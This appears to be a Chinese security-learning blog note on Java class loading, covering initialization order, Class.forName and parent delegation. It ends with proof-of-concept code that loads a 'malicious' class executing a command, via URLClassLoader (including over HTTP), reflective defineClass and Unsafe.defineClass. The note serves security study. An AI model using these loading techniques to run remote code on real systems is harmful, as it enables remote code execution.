参考资料:白日梦组长
java 类加载机制
类加载的流程如下图:

https://segmentfault.com/a/1190000023876273
主要需要了解,类在初始化和使用时会默认执行一些方法
Person测试类
package jiazai;
public class Person {
public String name;
private int age;
public static int id;
static {
System.out.println("静态代码块");
}
public static void staticAction() {
System.out.println("静态方法");
}
{
System.out.println("构造代码块");
}
public Person(String name, int age) {
this.name = name;
this.age = age;
System.out.println("有参person");
}
public Person() {
System.out.println("无参person");
}
@Override
public String toString() {
return "Person [name=" + name + ", age=" + age + "]";
}
private void action(String act) {
System.out.println(act);
}
}

这里已经实例化了,都调用,我们尝试区分一下,哪些是初始化时会调用,哪些是实例化时调用
尝试直接调用他的静态方法

尝试给静态参数赋值,发现只调用静态代码块

总结一下:
初始化:静态代码块
实例化:构造代码块,无参构造函数
直接获取class
尝试获取Person.class
发现什么都不调用,说明直接加载class并没有初始化

此时我们想到,还有别的加载class方法
Class.forName
Class.forName时,调用了静态代码块,进行了初始化

调试进去分析,这里有个参能控制是否初始化

然后发现还有一个接受3个参的forName方法
尝试写一下如何不初始化
public static Class<?> forName(String name, boolean initialize,
ClassLoader loader)package jiazai;
public class LoadClassTest {
public static void main(String[] args) throws ClassNotFoundException {
// new Person("zzdzz",123);
// Person.staticAction();
// Person.id = 1;
// Class c = Person.class;
// Class.forName("jiazai.Person");
ClassLoader systemClassLoader = ClassLoader.getSystemClassLoader();
Class.forName("jiazai.Person",false,systemClassLoader);
}
}
ClassLoader
之前获取的SystemClassLoader尝试打印看一下是什么
sun.misc.Launcher$AppClassLoader@14dad5dc这里就涉及到java 类加载器的双亲委派机制
这是逻辑指向,并非继承关系
双亲委派的意思是如果一个类加载器需要加载类,那么首先它会把这个类请求委派给父类加载器去完成,每一层都是如此。一直递归到顶层,当父加载器无法完成这个请求时,子类才会尝试去加载。


此时单独loadClass是不进行初始化的

调试跟进去可以发现:
1.类的继承关系
ClassLoader => SecureClassLoader => URLClassLoader => AppClassLoader
2.执行顺序
loadClass => findClass => defineClass(字节码加载类)
漏洞利用中的意义
尝试使用URLClassLoader加载任意类
准备好一个恶意类
import java.io.IOException;
public class Calc {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}加载代码
package jiazai;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
public class Test {
public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException {
URLClassLoader u = new URLClassLoader(new URL[]{new URL("file:///G:\\tmp\\")});
Class<?> aClass = u.loadClass("Calc");
aClass.newInstance();
}
}
当然他的意义并不在于本地文件加载,他可以用http
python开一个http服务

package jiazai;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
public class Test {
public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException {
URLClassLoader u = new URLClassLoader(new URL[]{new URL("http://127.0.0.1:7777/")});
Class<?> aClass = u.loadClass("Calc");
aClass.newInstance();
}
}
尝试用defineClass
ClassLoadler.defineClass
package jiazai;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
public class TestD {
public static void main(String[] args) throws NoSuchMethodException, IOException, InvocationTargetException, IllegalAccessException, InstantiationException {
ClassLoader classLoader = TestD.class.getClassLoader();
Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("G:\\tmp\\Calc.class"));
Class c = (Class) defineClassMethod.invoke(classLoader, "Calc", code, 0, code.length);
c.newInstance();
}
}
Unsafe.defineClass
相比于ClassLoadler.defineClass是私有方法 ,这个的defineClass是public,但是类不能直接生成
package jiazai;
import sun.misc.Unsafe;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
public class TestD {
public static void main(String[] args) throws NoSuchMethodException, IOException, InvocationTargetException, IllegalAccessException, InstantiationException, NoSuchFieldException {
ClassLoader classLoader = TestD.class.getClassLoader();
// Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
// defineClassMethod.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("G:\\tmp\\Calc.class"));
// Class c = (Class) defineClassMethod.invoke(classLoader, "Calc", code, 0, code.length);
// c.newInstance();
Class u = Unsafe.class;
Field theUnsafe = u.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);
Class<?> aClass = unsafe.defineClass("Calc", code, 0, code.length, classLoader, null);
aClass.newInstance();
}
}
评论(已关闭)
评论已关闭